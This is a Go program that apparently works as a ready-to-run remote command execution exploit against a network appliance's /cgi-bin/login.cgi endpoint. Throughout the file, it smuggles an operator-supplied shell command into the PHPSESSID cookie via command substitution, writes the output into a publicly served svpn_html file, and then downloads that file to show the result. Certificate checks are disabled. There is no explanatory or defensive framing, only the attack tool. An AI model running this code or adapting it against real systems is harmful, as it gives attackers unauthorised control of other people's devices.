package main
import (  "compress/gzip"  "crypto/tls"  "encoding/json"  "fmt"  "github.com/hpifu/go-kit/hflag"  "io/ioutil"  "log"  "net/http"  "os"  "strings"  "time")
type RceResult struct {  Success  bool   `json:"success"`  Cf       string `json:"cf"`  ErrorMsg string `json:"ErrorMsg"`  Msg      string `json:"msg"`}
func main() {  flag, cmd := parseFlag()  file := "qaxnb" + ".txt"  hd := map[string]string{    "User-Agent":      "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36",    "Connection":      "close",    "Content-Length":  "112",    "Content-Type":    "Application/X-www-Form",    "Cookie":          "PHPSESSID=`$(" + cmd + " >/fwlib/sys/virus/webui/svpn_html/" + file + ")`;",    "Accept-Encoding": "gzip",  }  u := flag + "/cgi-bin/login.cgi"  u = strings.Replace(u, "//cgi", "/cgi", 1)  d := " {\"opr\":\"login\", \"data\":{\"user\": \"watchTowr\" , \"pwd\": \"watchTowr\" , \"vericode\": \"EINW\" , \"privacy_enable\": \"0\"}}"  request, err := http.NewRequest(http.MethodPost, u, strings.NewReader(d))  if err != nil {    log.Println(err)    return  }  for k, v := range hd {    request.Header.Set(k, v)  }  req := wofuHttpReq()  do, err := req.Do(request)  if err != nil {    log.Println(err)    return  }  defer func() {    _ = do.Body.Close()  }()  reader, err := gzip.NewReader(do.Body)  if err != nil {    log.Println(err)    return  }  all, err := ioutil.ReadAll(reader)  if err != nil {    log.Println(err)    return  }  var result RceResult  _ = json.Unmarshal(all, &result)  if result.Success == false && result.Cf == "" && result.ErrorMsg != "" && result.Msg != "" {    getTxtContent(flag, file)  }}
func getTxtContent(target, file string) {  getHeader := map[string]string{    "User-Agent":      "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36",    "Connection":      "close",    "Y-Forwarded-For": "127.0.0.1",    "Accept-Encoding": "gzip",  }  reqUrl := target + "/svpn_html/" + file  reqUrl = strings.Replace(reqUrl, "//cgi", "/cgi", 1)  req := wofuHttpReq()  request, _ := http.NewRequest(http.MethodGet, reqUrl, nil)  for s, s2 := range getHeader {    request.Header.Set(s, s2)  }  do, err := req.Do(request)  if do.StatusCode != http.StatusOK {    fmt.Println("Result File Not Found Please Check It")    return  }  if err != nil {    log.Println(err)    return  }  defer func() {    _ = do.Body.Close()  }()  read, _ := gzip.NewReader(do.Body)  all, _ := ioutil.ReadAll(read)  fmt.Print(string(all))  return}func wofuHttpReq() *http.Client {  client := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true, MinVersion: tls.VersionTLS10}}}  client.Timeout = time.Second * 10  return client}
func parseFlag() (host, cmd string) {  hflag.AddFlag("target", "target", hflag.Required(), hflag.Shorthand("t"))  hflag.AddFlag("command", "command", hflag.Required(), hflag.Shorthand("c"))  if err := hflag.Parse(); err != nil {    fmt.Println(hflag.Usage())    os.Exit(0)  }  return hflag.GetString("target"), hflag.GetString("command")}